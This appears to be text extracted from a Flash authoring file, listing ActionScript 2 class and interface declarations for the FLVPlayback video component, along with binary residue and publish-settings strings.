   public function setFLVCuePointEnabled(enabled:Boolean, timeNameOrCuePoint:Object):Number;

   public function setScale(xs:Number, ys:Number);

   public function setSize(w:Number, h:Number):Void;

   private function showFirstStream():Void;

   [Inspectable(type="Video Skin")] public function get skin():String;

   public function set skin(s:String):Void;

   [Inspectable(defaultValue=false)] public function get skinAutoHide():Boolean;

   public function set skinAutoHide(b:Boolean):Void;

   public function skinError(message:String):Void;

   public function skinLoaded():Void;

   [Bindable] [ChangeEvent("stateChange")] public function get state():String;

   public function get stateResponsive():Boolean;

   public function stop():Void;

   public function get stopButton():MovieClip;

   public function set stopButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("stopped")] [Bindable] public function get stopped():Boolean;

   [Inspectable(defaultValue=0)] [ChangeEvent("metadataReceived")] [Bindable] public function get totalTime():Number;

   public function set totalTime(aTime:Number):Void;

   public function get transform():Object;

   public function set transform(s:Object):Void;

   static public var version:String;

   public function get visible():Boolean;

   public function set visible(v:Boolean);

   public function get visibleVideoPlayerIndex():Number;

   public function set visibleVideoPlayerIndex(i:Number);

   [Inspectable(defaultValue=100)] [ChangeEvent("volumeUpdate")] [Bindable] public function get volume():Number;

   public function set volume(aVol:Number):Void;

   public function get volumeBar():MovieClip;

   public function set volumeBar(s:MovieClip):Void;

   public function get volumeBarInterval():Number;

   public function set volumeBarInterval(s:Number);

   public function get volumeBarScrubTolerance():Number;

   public function set volumeBarScrubTolerance(s:Number);

   [ChangeEvent("resize")] [Bindable] public function get width():Number;

   public function set width(w:Number):Void;

   [Bindable] public function get x():Number;

   public function set x(xpos:Number);

   [Bindable] public function get y():Number;

   public function set y(ypos:Number);

};

__Packages.mx.video.INCManager__Packages.mx.video.INCManagerFLVPlayback.swfRC__Packages.mx.video.VideoPlayerFLVPlayback.swfmx.video.INCManagermimport mx.video.VideoPlayer;



interface mx.video.INCManager

{

   public function close():Void;

   public function connectAgain():Boolean;

   public function connectToURL(url:String):Boolean;

   public function getBitrate():Number;

   public function getNetConnection():NetConnection;

   public function getStreamHeight():Number;

   public function getStreamLength():Number;

   public function getStreamName():String;

   public function getStreamWidth():Number;

   public function getTimeout():Number;

   public function getVideoPlayer():mx.video.VideoPlayer;

   public function helperDone(helper:Object, success:Boolean);

   public function isRTMP():Boolean;

   public function reconnect():Void;

   public function setBitrate(b:Number):Void;

   public function setTimeout(t:Number):Void;

   public function setVideoPlayer(v:mx.video.VideoPlayer):Void;

};

__Packages.mx.video.NCManager__Packages.mx.video.NCManagerFLVPlayback.swfC__Packages.mx.video.VideoPlayerFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swf__Packages.mx.video.SMILManagerFLVPlayback.swf__Packages.mx.video.INCManagerFLVPlayback.swfmx.video.NCManagerimport mx.video.VideoPlayer;

import mx.video.VideoError;

import mx.video.INCManager;

import mx.video.SMILManager;



intrinsic class mx.video.NCManager implements mx.video.INCManager

{

   public var DEFAULT_TIMEOUT:Number;

   public function NCManager();

   static private var RTMP_CONN:Array;

   private var _appName:String;

   private var _autoSenseBW:Boolean;

   private var _bitrate:Number;

   private var _connTypeCounter:Number;

   private var _contentPath:String;

   private var _isRTMP:Boolean;

   private var _nc:NetConnection;

   private var _ncUri:String;

   public function _onFCSConnectTimeOut():Void;

   private var _owner:mx.video.VideoPlayer;

   public var _payload:Number;

   private var _portNumber:String;

   private var _protocol:String;

   private var _serverName:String;

   private var _smilMgr:mx.video.SMILManager;

   private var _streamHeight:Number;

   private var _streamLength:Number;

   private var _streamName:String;

   private var _streamWidth:Number;

   private var _streams:Array;

   private var _timeout:Number;

   private var _timeoutIntervalId:Number;

   public var _tryNC:Array;

   private var _tryNCIntervalId:Number;

   private var _wrappedURL:String;

   private function bitrateMatch():Void;

   private function canReuseOldConnection(parseResults:Object):Boolean;

   public function cleanConns();

   public function close():Void;

   public function connectAgain():Boolean;

   private function connectHTTP():Boolean;

   public function connectOnStatus(target:NetConnection, info:Object):Void;

   private function connectRTMP():Boolean;

   public function connectToURL(url:String):Boolean;

   public function disconnectOnStatus(target:NetConnection, info:Object):Void;

   public var fallbackServerName:String;

   public function getBitrate():Number;

   public function getNetConnection():NetConnection;

   public function getStreamHeight():Number;

   public function getStreamLength():Number;

   public function getStreamLengthResult(length:Number):Void;

   public function getStreamName():String;

   public function getStreamWidth():Number;

   public function getTimeout():Number;

   public function getVideoPlayer():mx.video.VideoPlayer;

   public function helperDone(helper:Object, success:Boolean);

   private function initNCInfo():Void;

   private function initOtherInfo():Void;

   public function isRTMP():Boolean;

   private function nextConnect():Void;

   public function onConnected(p_nc:NetConnection, p_bw:Number):Void;

   public function onReconnected():Void;

   private function parseURL(url:String):Object;

   public function reconnect():Void;

   public function reconnectOnStatus(target:NetConnection, info:Object):Void;

   public function setBitrate(b:Number):Void;

   public function setTimeout(t:Number):Void;

   public function setVideoPlayer(v:mx.video.VideoPlayer):Void;

   static private function stripFrontAndBackWhiteSpace(p_str:String):String;

   private function tryFallBack():Void;

   static public var version:String;

};

__Packages.mx.video.SMILManager__Packages.mx.video.SMILManagerFLVPlayback.swfVC__Packages.mx.video.INCManagerFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swf__Packages.mx.utils.DelegateFLVPlayback.swfmx.video.SMILManagerximport mx.video.VideoError;

import mx.video.INCManager;

import mx.utils.Delegate;



intrinsic class mx.video.SMILManager

{

   static private var ELEMENT_NODE:Number;

   public function SMILManager(owner:mx.video.INCManager);

   private var _owner:mx.video.INCManager;

   private var _url:String;

   public var baseURLAttr:Array;

   public function connectXML(url:String):Boolean;

   public var height:Number;

   private function parseBody(parentNode:XMLNode):Void;

   private function parseHead(parentNode:XMLNode):Void;

   private function parseLayout(parentNode:XMLNode):Void;

   private function parseSwitch(parentNode:XMLNode):Void;

   private function parseVideo(node:XMLNode):Object;

   static public var version:String;

   public var videoTags:Array;

   public var width:Number;

   public var xml:XML;

   private function xmlOnLoad(success:Boolean):Void;

};

__Packages.mx.video.UIManager__Packages.mx.video.UIManagerFLVPlayback.swfVC__Packages.mx.video.FLVPlaybackFLVPlayback.swf__Packages.mx.video.VideoPlayerFLVPlayback.swfmx.video.UIManagerimport mx.video.VideoPlayer;

import mx.video.FLVPlayback;

import mx.utils.Delegate;



intrinsic class mx.video.UIManager

{

   static var BACK_BUTTON:Number;

   static var BUFFERING_BAR:Number;

   static public var BUFFERING_DELAY_INTERVAL_DEFAULT:Number;

   static var DOWN_STATE:Number;

   static var FORWARD_BUTTON:Number;

   static var MUTE_BUTTON:Number;

   static var MUTE_OFF_BUTTON:Number;

   static var MUTE_ON_BUTTON:Number;

   static var NUM_BUTTONS:Number;

   static var NUM_CONTROLS:Number;

   static var OVER_STATE:Number;

   static var PAUSE_BUTTON:Number;

   static var PLAY_BUTTON:Number;

   static var PLAY_PAUSE_BUTTON:Number;

   static var SEEK_BAR:Number;

   static var SEEK_BAR_HANDLE:Number;

   static public var SEEK_BAR_INTERVAL_DEFAULT:Number;

   static public var SEEK_BAR_SCRUB_TOLERANCE_DEFAULT:Number;

   static private var SKIN_AUTO_HIDE_INTERVAL:Number;

   static var STOP_BUTTON:Number;

   public function UIManager(vc:mx.video.FLVPlayback);

   static var UP_STATE:Number;

   static var VOLUME_BAR:Number;

   static var VOLUME_BAR_HANDLE:Number;

   static public var VOLUME_BAR_INTERVAL_DEFAULT:Number;

   static public var VOLUME_BAR_SCRUB_TOLERANCE_DEFAULT:Number;

   private var __visible:Boolean;

   private var _bufferingBarHides:Boolean;

   private var _bufferingDelayInterval:Number;

   private var _bufferingDelayIntervalID:Number;

   private var _bufferingOn:Boolean;

   private var _controlsEnabled:Boolean;

   private var _isMuted:Boolean;

   private var _lastScrubPos:Number;

   private var _lastVolumePos:Number;

   private var _playAfterScrub:Boolean;

   private var _progressPercent:Number;

   private var _seekBarInterval:Number;

   private var _seekBarIntervalID:Number;

   private var _seekBarScrubTolerance:Number;

   private var _skin:String;

   private var _skinAutoHide:Boolean;

   private var _skinAutoHideIntervalID:Number;

   private var _skinReady:Boolean;

   public var _vc:mx.video.FLVPlayback;

   private var _volumeBarInterval:Number;

   private var _volumeBarIntervalID:Number;

   private var _volumeBarScrubTolerance:Number;

   private function addBarControl(controlIndex:Number):Void;

   private function addButtonControl(index:Number):Void;

   private function applySkinState(ctrl:MovieClip, state:MovieClip):Void;

   private var border_mc:MovieClip;

   public function get bufferingBarHidesAndDisablesOthers():Boolean;

   public function set bufferingBarHidesAndDisablesOthers(b:Boolean):Void;

   public function get bufferingDelayInterval():Number;

   public function set bufferingDelayInterval(s:Number);

   private var cachedSoundLevel:Number;

   private function calcBarMargins(ctrl:MovieClip, type:String, symmetricMargins:Boolean):Void;

   private function calcPercentageFromHandle(controlIndex:Number):Void;

   private var controls:Array;

   public function get controlsEnabled():Boolean;

   public function set controlsEnabled(flag:Boolean):Void;

   private var customClips:Array;

   public function dispatchMessage(ctrl:MovieClip):Void;

   public function doBufferingDelay():Void;

   private function downloadSkin():Void;

   private function finishAddBarControl(controlIndex:Number);

   private function finishAddBufferingBar();

   private function fixUpBar(ctrl:MovieClip, type:String):Void;

   public function getControl(index:Number):MovieClip;

   public function handleEvent(e:Object):Void;

   private function handleRelease(controlIndex:Number):Void;

   private function layoutControl(ctrl:MovieClip):Void;

   public function layoutSkin():Void;

   private var layout_mc:MovieClip;

   private function onLoadError(target_mc:MovieClip, errorCode:String):Void;

   private function onLoadInit():Void;

   private var placeholderBottom:Number;

   private var placeholderLeft:Number;

   private var placeholderRight:Number;

   private var placeholderTop:Number;

   private function positionBar(ctrl:MovieClip, type:String, percent:Number):Void;

   private function positionHandle(controlIndex:Number):Void;

   private function positionMaskedFill(ctrl:MovieClip, fill:MovieClip, percent:Number):Void;

   private function removeButtonControl(index:Number):Void;

   private function removeSkin():Void;

   private function resetPlayPause():Void;

   public function get seekBarInterval():Number;

   public function set seekBarInterval(s:Number);

   public function seekBarListener(finish:Boolean):Void;

   public function get seekBarScrubTolerance():Number;

   public function set seekBarScrubTolerance(s:Number);

   public function setControl(index:Number, s:MovieClip);

   private function setCustomClips(prefix:String):Void;

   private function setEnabledAndVisibleForState(index:Number, state:String):Void;

   private function setSkin(index:Number, s:MovieClip):Void;

   public function setupSkinAutoHide():Void;

   private function setupSkinStates(ctrl:MovieClip):Void;

   public function get skin():String;

   public function set skin(s:String);

   public function get skinAutoHide():Boolean;

   public function set skinAutoHide(b:Boolean);

   private function skinAutoHideHitTest():Void;

   private function skinButtonControl(ctrl:MovieClip):Void;

   private var skinLoader:MovieClipLoader;

   public function get skinReady():Boolean;

   private var skin_mc:MovieClip;

   private function startHandleDrag(controlIndex:Number):Void;

   private function stopHandleDrag(controlIndex:Number):Void;

   static public var version:String;

   private var videoBottom:Number;

   private var videoLeft:Number;

   private var videoRight:Number;

   private var videoTop:Number;

   public function get visible():Boolean;

   public function set visible(v:Boolean);

   public function get volumeBarInterval():Number;

   public function set volumeBarInterval(s:Number);

   public function volumeBarListener(finish:Boolean):Void;

   public function get volumeBarScrubTolerance():Number;

   public function set volumeBarScrubTolerance(s:Number);

};

__Packages.mx.video.VideoError__Packages.mx.video.VideoErrorFLVPlayback.swfRCmx.video.VideoError

intrinsic class mx.video.VideoError extends Error

{

   static private var BASE_ERROR_CODE:Number;

   static public var DELETE_DEFAULT_PLAYER:Number;

   static private var ERROR_MSG:Array;

   static public var ILLEGAL_CUE_POINT:Number;

   static public var INVALID_CONTENT_PATH:Number;

   static public var INVALID_SEEK:Number;

   static public var INVALID_XML:Number;

   static public var NO_BITRATE_MATCH:Number;

   static public var NO_CONNECTION:Number;

   static public var NO_CUE_POINT_MATCH:Number;

   public function VideoError(errCode:Number, msg:String);

   private var _code:Number;

   public function get code():Number;

   static public var version:String;

};

__Packages.mx.video.VideoPlayer__Packages.mx.video.VideoPlayerFLVPlayback.swfVC__Packages.mx.video.INCManagerFLVPlayback.swf$__Packages.mx.events.EventDispatcherFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swfmx.video.VideoPlayer import mx.video.VideoError;

import mx.events.EventDispatcher;

import mx.video.INCManager;



[Event("close")] 

[Event("complete")] 

[Event("cuePoint")] 

[Event("metadataReceived")] 

[Event("playheadUpdate")] 

[Event("progress")] 

[Event("ready")] 

[Event("resize")] 

[Event("rewind")] 

[Event("stateChange")] 

intrinsic class mx.video.VideoPlayer extends MovieClip

{

   static private var AUTO_RESIZE_INTERVAL:Number;

   static private var AUTO_RESIZE_METADATA_DELAY_MAX:Number;

   static private var AUTO_RESIZE_PLAYHEAD_TIMEOUT;

   static public var BUFFERING:String;

   static private var BUFFER_EMPTY:String;

   static private var BUFFER_FULL:String;

   static private var BUFFER_FULL_SAW_PLAY_STOP:String;

   static private var CLOSE_NS_INTERVAL:Number;

   static public var CONNECTION_ERROR:String;

   static var DEFAULT_IDLE_TIMEOUT_INTERVAL:Number;

   static public var DEFAULT_INCMANAGER:String;

   static var DEFAULT_UPDATE_PROGRESS_INTERVAL:Number;

   static var DEFAULT_UPDATE_TIME_INTERVAL:Number;

   static public var DISCONNECTED:String;

   static var EXEC_QUEUED_CMD:String;

   static private var FINISH_AUTO_RESIZE_INTERVAL:Number;

   static private var HTTP_DELAYED_BUFFERING_INTERVAL:Number;

   static private var HTTP_DO_SEEK_INTERVAL:Number;

   static private var HTTP_DO_SEEK_MAX_COUNT:Number;

   static var LOAD:Number;

   static public var LOADING:String;

   static var PAUSE:Number;

   static public var PAUSED:String;

   static var PLAY:Number;

   static public var PLAYING:String;

   static public var RESIZING:String;

   static public var REWINDING:String;

   static private var RTMP_DO_SEEK_INTERVAL:Number;

   static private var RTMP_DO_STOP_AT_END_INTERVAL:Number;

   static var SEEK:Number;

   static public var SEEKING:String;

   static var STOP:Number;

   static public var STOPPED:String;

   public function VideoPlayer();

   private var __visible:Boolean;

   private var _aspectRatio:Boolean;

   private var _atEnd:Boolean;

   private var _autoPlay:Boolean;

   private var _autoResizeDone:Boolean;

   private var _autoResizeIntervalID:Number;

   private var _autoRewind:Boolean;

   private var _autoSize:Boolean;

   private var _bufferState:String;

   private var _bufferTime:Number;

   private var _cachedPlayheadTime:Number;

   private var _cachedState:String;

   private var _cmdQueue:Array;

   private var _contentPath:String;

   private function _createStream():Void;

   private var _currentPos:Number;

   private var _delayedBufferingInterval:Number;

   private var _delayedBufferingIntervalID:Number;

   private var _finishAutoResizeIntervalID:Number;

   private var _hiddenForResize:Boolean;

   private var _hiddenForResizeMetadataDelay:Number;

   private var _hiddenRewindPlayheadTime:Number;

   private var _httpDoSeekCount:Number;

   private var _httpDoSeekIntervalID:Number;

   private var _idleTimeoutInterval:Number;

   private var _idleTimeoutIntervalID:Number;

   private var _invalidSeekRecovery:Boolean;

   private var _invalidSeekTime:Boolean;

   private var _isLive:Boolean;

   private var _lastUpdateTime:Number;

   private function _load(url:String, isLive:Boolean, totalTime:Number):Void;

   private var _metadata:Object;

   private var _ncMgr:mx.video.INCManager;

   private var _ns:NetStream;

   private function _pause(doPause:Boolean):Void;

   private function _play():Void;

   private var _prevVideoHeight:Number;

   private var _prevVideoWidth:Number;

   private var _readyDispatched:Boolean;

   private var _rtmpDoSeekIntervalID:Number;

   private var _rtmpDoStopAtEndIntervalID:Number;

   private var _sawSeekNotify:Boolean;

   private function _seek(time:Number):Void;

   private function _setUpStream():Void;

   private var _sound:Sound;

   private var _startingPlay:Boolean;

   private var _state:String;

   private var _streamLength:Number;

   private var _updateProgressInterval:Number;

   private var _updateProgressIntervalID:Number;

   private var _updateTimeInterval:Number;

   private var _updateTimeIntervalID:Number;

   private var _video:Video;

   private var _videoHeight:Number;

   private var _videoWidth:Number;

   private var _volume:Number;

   public var addEventListener:Function;

   public function get autoRewind():Boolean;

   public function set autoRewind(flag:Boolean):Void;

   public function get autoSize():Boolean;

   public function set autoSize(flag:Boolean):Void;

   public function get bufferTime():Number;

   public function set bufferTime(aTime:Number):Void;

   public function get bytesLoaded():Number;

   public function get bytesTotal():Number;

   public function close():Void;

   private function closeNS(updateCurrentPos:Boolean):Void;

   private function createINCManager():Void;

   public var dispatchEvent:Function;

   public var dispatchQueue:Function;

   private function doAutoResize():Void;

   private function doDelayedBuffering():Void;

   private function doIdleTimeout():Void;

   public function doUpdateProgress():Void;

   public function doUpdateTime():Void;

   private function execQueuedCmds():Void;

   private function finishAutoResize():Void;

   private function flushQueuedCmds():Void;

   public function get height():Number;

   public function set height(h:Number):Void;

   private function httpDoSeek():Void;

   private function httpDoStopAtEnd():Void;

   public function httpOnStatus(info:Object):Void;

   public function get idleTimeout():Number;

   public function set idleTimeout(aTime:Number):Void;

   public function get isLive():Boolean;

   public function get isRTMP():Boolean;

   private function isXnOK():Boolean;

   public function load(url:String, isLive:Boolean, totalTime:Number):Void;

   public function get maintainAspectRatio():Boolean;

   public function set maintainAspectRatio(flag:Boolean):Void;

   public function get metadata();

   public function ncConnected():Void;

   public function get ncMgr():mx.video.INCManager;

   public var ncMgrClassName:String;

   public function ncReconnected():Void;

   public function onCuePoint(info:Object):Void;

   public function onMetaData(info:Object):Void;

   public function pause():Void;

   public function play(url:String, isLive:Boolean, totalTime:Number):Void;

   public function get playheadTime():Number;

   public function set playheadTime(position:Number):Void;

   public function get playheadUpdateInterval():Number;

   public function set playheadUpdateInterval(aTime:Number):Void;

   public function get progressInterval():Number;

   public function set progressInterval(aTime:Number):Void;

   private function queueCmd(type:Number, url:String, isLive:Boolean, time:Number):Void;

   public var removeEventListener:Function;

   private function rtmpDoSeek():Void;

   private function rtmpDoStopAtEnd(force:Boolean):Void;

   public function rtmpOnStatus(info:Object):Void;

   function get scaleX():Number;

   function set scaleX(xs:Number):Void;

   function get scaleY():Number;

   function set scaleY(ys:Number):Void;

   public function seek(time:Number):Void;

   public function setScale(xs:Number, ys:Number);

   public function setSize(w:Number, h:Number):Void;

   private function setState(s:String):Void;

   private function setStateFromCachedState():Void;

   private function startAutoResize();

   public function get state():String;

   public function get stateResponsive():Boolean;

   public function stop():Void;

   public function get totalTime():Number;

   public function get transform():Object;

   public function set transform(s:Object):Void;

   public function get url():String;

   static public var version:String;

   public function get videoHeight();

   public function get videoWidth();

   public function get visible():Boolean;

   public function set visible(v:Boolean):Void;

   public function get volume():Number;

   public function set volume(aVol:Number):Void;

   public function get width():Number;

   public function set width(w:Number):Void;

   public function get x():Number;

   public function set x(xpos:Number);

   public function get y():Number;

   public function set y(ypos:Number);

};

VideoPlayerFLVPlayback.swfIconFLVPlayback.swf__Packages.mx.video.FLVPlaybackFLVPlayback.swfmx.video.FLVPlayback.import mx.video.VideoPlayer;

import mx.video.VideoError;

import mx.video.UIManager;

import mx.events.EventDispatcher;

import mx.video.NCManager;

import mx.video.INCManager;

import mx.video.CuePointManager;

import mx.utils.Delegate;



[Event("buffering")] 

[Event("close")] 

[Event("complete")] 

[Event("cuePoint")] 

[Event("fastForward")] 

[Event("metadataReceived")] 

[Event("paused")] 

[Event("playing")] 

[Event("playheadUpdate")] 

[Event("progress")] 

[Event("ready")] 

[Event("resize")] 

[Event("rewind")] 

[Event("scrubFinish")] 

[Event("scrubStart")] 

[Event("seek")] 

[Event("skinError")] 

[Event("skinLoaded")] 

[Event("stateChange")] 

[Event("stopped")] 

[Event("volumeUpdate")] 

[IconFile("FLVPlayback.png")] 

[minimumPlayerVersion("8")] 

[RequiresDataBinding(true)] 

[LivePreviewVersion("1")] 

intrinsic class mx.video.FLVPlayback extends MovieClip

{

   static public var ACTIONSCRIPT;

   static public var ALL;

   static public var BUFFERING:String;

   static public var CONNECTION_ERROR:String;

   static public var DISCONNECTED:String;

   static public var EVENT;

   static public var FLV;

   public function FLVPlayback();

   static public var LOADING:String;

   static public var NAVIGATION;

   static public var PAUSED:String;

   static public var PLAYING:String;

   static public var REWINDING:String;

   static public var SEEKING:String;

   static private var SEEK_TO_PREV_OFFSET_DEFAULT:Number;

   static public var STOPPED:String;

   static private var VP_DEPTH_OFFSET:Number;

   private var __forceNCMgr:mx.video.NCManager;

   private var __height:Number;

   private var __width:Number;

   private var _activeVP:Number;

   private var _aspectRatio:Boolean;

   private var _autoPlay:Boolean;

   private var _autoRewind:Boolean;

   private var _autoSize:Boolean;

   private var _backButton:MovieClip;

   private var _bufferTime:Number;

   private var _bufferingBar:MovieClip;

   private var _bufferingBarHides:Boolean;

   private var _contentPath:String;

   private var _cpMgr:Array;

   private var _cuePoints:Array;

   private var _firstStreamReady:Boolean;

   private var _firstStreamShown:Boolean;

   private var _forwardButton:MovieClip;

   private var _idleTimeout:Number;

   private var _isLive:Boolean;

   private var _muteButton:MovieClip;

   private var _origHeight:Number;

   private var _origWidth:Number;

   private var _pauseButton:MovieClip;

   private var _playButton:MovieClip;

   private var _playPauseButton:MovieClip;

   private var _playheadUpdateInterval:Number;

   private var _preSeekTime:Number;

   private var _prevHeight:Number;

   private var _prevWidth:Number;

   private var _progressInterval:Number;

   private var _scaleX:Number;

   private var _scaleY:Number;

   public function _scrubFinish():Void;

   public function _scrubStart():Void;

   private var _seekBar:MovieClip;

   private var _seekBarInterval:Number;

   private var _seekBarScrubTolerance:Number;

   private var _seekToPrevOffset:Number;

   private var _skin:String;

   private var _skinAutoHide:Boolean;

   private var _stopButton:MovieClip;

   private var _topVP:Number;

   private var _totalTime:Number;

   private var _transform:Object;

   private var _uiMgr:mx.video.UIManager;

   private var _visibleVP:Number;

   private var _volume:Number;

   private var _volumeBar:MovieClip;

   private var _volumeBarInterval:Number;

   private var _volumeBarScrubTolerance:Number;

   private var _vp:Array;

   public var _vpState:Array;

   [Bindable] public function get activeVideoPlayerIndex():Number;

   public function set activeVideoPlayerIndex(i:Number):Void;

   public function addASCuePoint(timeOrCuePoint:Object, name:String, parameters:Object):Number;

   public var addEventListener:Function;

   [Inspectable(defaultValue=true)] public function get autoPlay():Boolean;

   public function set autoPlay(flag:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get autoRewind():Boolean;

   public function set autoRewind(flag:Boolean):Void;

   [Inspectable(defaultValue=false)] public function get autoSize():Boolean;

   public function set autoSize(flag:Boolean):Void;

   public function get backButton():MovieClip;

   public function set backButton(s:MovieClip):Void;

   public function get bitrate():Number;

   public function set bitrate(b:Number):Void;

   public var boundingBox_mc:MovieClip;

   public function bringVideoPlayerToFront(index:Number):Void;

   [Inspectable(defaultValue=0.1)] public function get bufferTime():Number;

   public function set bufferTime(aTime:Number):Void;

   public function get buffering():Boolean;

   public function get bufferingBar():MovieClip;

   public function set bufferingBar(s:MovieClip):Void;

   public function get bufferingBarHidesAndDisablesOthers():Boolean;

   public function set bufferingBarHidesAndDisablesOthers(b:Boolean):Void;

   [ChangeEvent("progress")] [Bindable] public function get bytesLoaded():Number;

   [ChangeEvent("progress")] [Bindable] public function get bytesTotal():Number;

   public function closeVideoPlayer(index:Number):mx.video.VideoPlayer;

   [Inspectable(type="Video Content Path")] [Bindable] public function get contentPath():String;

   public function set contentPath(url:String):Void;

   private function createLivePreviewMovieClip():Void;

   private function createUIManager():Void;

   private function createVideoPlayer(index:Number):Void;

   [Inspectable(type="Video Cue Points")] public function set cuePoints(cp:Array):Void;

   public var dispatchEvent:Function;

   public var dispatchQueue:Function;

   private function doContentPathConnect():Void;

   public function findCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNearestCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNextCuePointWithName(cuePoint:Object):Object;

   public function get forwardButton():MovieClip;

   public function set forwardButton(s:MovieClip):Void;

   public function getNextHighestDepth():Number;

   public function getVideoPlayer(index:Number):mx.video.VideoPlayer;

   private function handleEvent(e:Object):Void;

   [ChangeEvent("resize")] [Bindable] public function get height():Number;

   public function set height(h:Number):Void;

   public function get idleTimeout():Number;

   public function set idleTimeout(aTime:Number):Void;

   public function isFLVCuePointEnabled(timeNameOrCuePoint:Object):Boolean;

   [Inspectable(defaultValue=false)] public function get isLive():Boolean;

   public function set isLive(flag:Boolean):Void;

   public function get isRTMP():Boolean;

   public function load(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get maintainAspectRatio():Boolean;

   public function set maintainAspectRatio(flag:Boolean):Void;

   public function get metadata():Object;

   public function get metadataLoaded():Boolean;

   public function get muteButton():MovieClip;

   public function set muteButton(s:MovieClip):Void;

   public function get ncMgr():mx.video.INCManager;

   public function pause():Void;

   public function get pauseButton():MovieClip;

   public function set pauseButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("paused")] [Bindable] public function get paused():Boolean;

   public function play(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   public function get playButton():MovieClip;

   public function set playButton(s:MovieClip):Void;

   public function get playPauseButton():MovieClip;

   public function set playPauseButton(s:MovieClip):Void;

   public function get playheadPercentage():Number;

   public function set playheadPercentage(percent:Number);

   [ChangeEvent("playheadUpdate")] [Bindable] public function get playheadTime():Number;

   public function set playheadTime(position:Number):Void;

   public function get playheadUpdateInterval():Number;

   public function set playheadUpdateInterval(aTime:Number):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("playing")] [Bindable] public function get playing():Boolean;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredHeight():Number;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredWidth():Number;

   private var preview_mc:MovieClip;

   public function get progressInterval():Number;

   public function set progressInterval(aTime:Number):Void;

   public function removeASCuePoint(timeNameOrCuePoint:Object):Object;

   public var removeEventListener:Function;

   [ChangeEvent("resize")] [Bindable] function get scaleX():Number;

   function set scaleX(xs:Number):Void;

   [ChangeEvent("resize")] [Bindable] function get scaleY():Number;

   function set scaleY(ys:Number):Void;

   public function get scrubbing():Boolean;

   public function seek(time:Number):Void;

   public function get seekBar():MovieClip;

   public function set seekBar(s:MovieClip):Void;

   public function get seekBarInterval():Number;

   public function set seekBarInterval(s:Number);

   public function get seekBarScrubTolerance():Number;

   public function set seekBarScrubTolerance(s:Number);

   public function seekPercent(percent:Number):Void;

   public function seekSeconds(time:Number):Void;

   public function seekToNavCuePoint(timeNameOrCuePoint:Object):Void;

   public function seekToNextNavCuePoint(time:Number):Void;

   public function seekToPrevNavCuePoint(time:Number):Void;

   public function get seekToPrevOffset():Number;

   public function set seekToPrevOffset(s:Number):Void;

   public function setFLVCuePointEnabled(enabled:Boolean, timeNameOrCuePoint:Object):Number;

   public function setScale(xs:Number, ys:Number);

   public function setSize(w:Number, h:Number):Void;

   private function showFirstStream():Void;

   [Inspectable(type="Video Skin")] public function get skin():String;

   public function set skin(s:String):Void;

   [Inspectable(defaultValue=false)] public function get skinAutoHide():Boolean;

   public function set skinAutoHide(b:Boolean):Void;

   public function skinError(message:String):Void;

   public function skinLoaded():Void;

   [Bindable] [ChangeEvent("stateChange")] public function get state():String;

   public function get stateResponsive():Boolean;

   public function stop():Void;

   public function get stopButton():MovieClip;

   public function set stopButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("stopped")] [Bindable] public function get stopped():Boolean;

   [Inspectable(defaultValue=0)] [ChangeEvent("metadataReceived")] [Bindable] public function get totalTime():Number;

   public function set totalTime(aTime:Number):Void;

   public function get transform():Object;

   public function set transform(s:Object):Void;

   static public var version:String;

   public function get visible():Boolean;

   public function set visible(v:Boolean);

   public function get visibleVideoPlayerIndex():Number;

   public function set visibleVideoPlayerIndex(i:Number);

   [Inspectable(defaultValue=100)] [ChangeEvent("volumeUpdate")] [Bindable] public function get volume():Number;

   public function set volume(aVol:Number):Void;

   public function get volumeBar():MovieClip;

   public function set volumeBar(s:MovieClip):Void;

   public function get volumeBarInterval():Number;

   public function set volumeBarInterval(s:Number);

   public function get volumeBarScrubTolerance():Number;

   public function set volumeBarScrubTolerance(s:Number);

   [ChangeEvent("resize")] [Bindable] public function get width():Number;

   public function set width(w:Number):Void;

   [Bindable] public function get x():Number;

   public function set x(xpos:Number);

   [Bindable] public function get y():Number;

   public function set y(ypos:Number);

};

*@hhhhhlegacyLineSpacing0!PublishGifProperties::PaletteName PublishRNWKProperties::speed256K0Vector::AS3 Package Paths"PublishHtmlProperties::StartPaused0%PublishFormatProperties::htmlFileName
Untitled-1 PublishQTProperties::LayerOption PublishQTProperties::AlphaOption"PublishQTProperties::MatchMovieDim1Vector::UseNetwork0Vector::Debugging Permitted0PublishProfileProperties::nameDefaultPublishHtmlProperties::Loop1PublishFormatProperties::jpeg0PublishQTProperties::Width550$PublishPNGProperties::OptimizeColors1&PublishRNWKProperties::speedSingleISDN0&PublishRNWKProperties::singleRateAudio0Vector::External Player%PublishHtmlProperties::showTagWarnMsg1PublishHtmlProperties::Units04PublishHtmlProperties::UsingDefaultAlternateFilename1PublishGifProperties::Smooth1%PublishRNWKProperties::mediaCopyright(c) 2000#PublishRNWKProperties::flashBitRate1200Vector::Compress Movie1Vector::Package Paths&PublishFormatProperties::flashFileNameUntitled-1.swf'PublishFormatProperties::gifDefaultName1%PublishFormatProperties::projectorMac0"PublishGifProperties::DitherOption!PublishRNWKProperties::exportSMIL1 PublishRNWKProperties::speed384K0"PublishRNWKProperties::exportAudio1Vector::FireFox0PublishHtmlProperties::Quality4(PublishHtmlProperties::VerticalAlignment1$PublishFormatProperties::pngFileNameUntitled-1.pngPublishFormatProperties::html1"PublishPNGProperties::FilterOption'PublishRNWKProperties::mediaDescriptionVector::Override Sounds0!PublishHtmlProperties::DeviceFont0-PublishFormatProperties::generatorDefaultName1PublishQTProperties::Flatten1PublishPNGProperties::BitDepth24-bit with 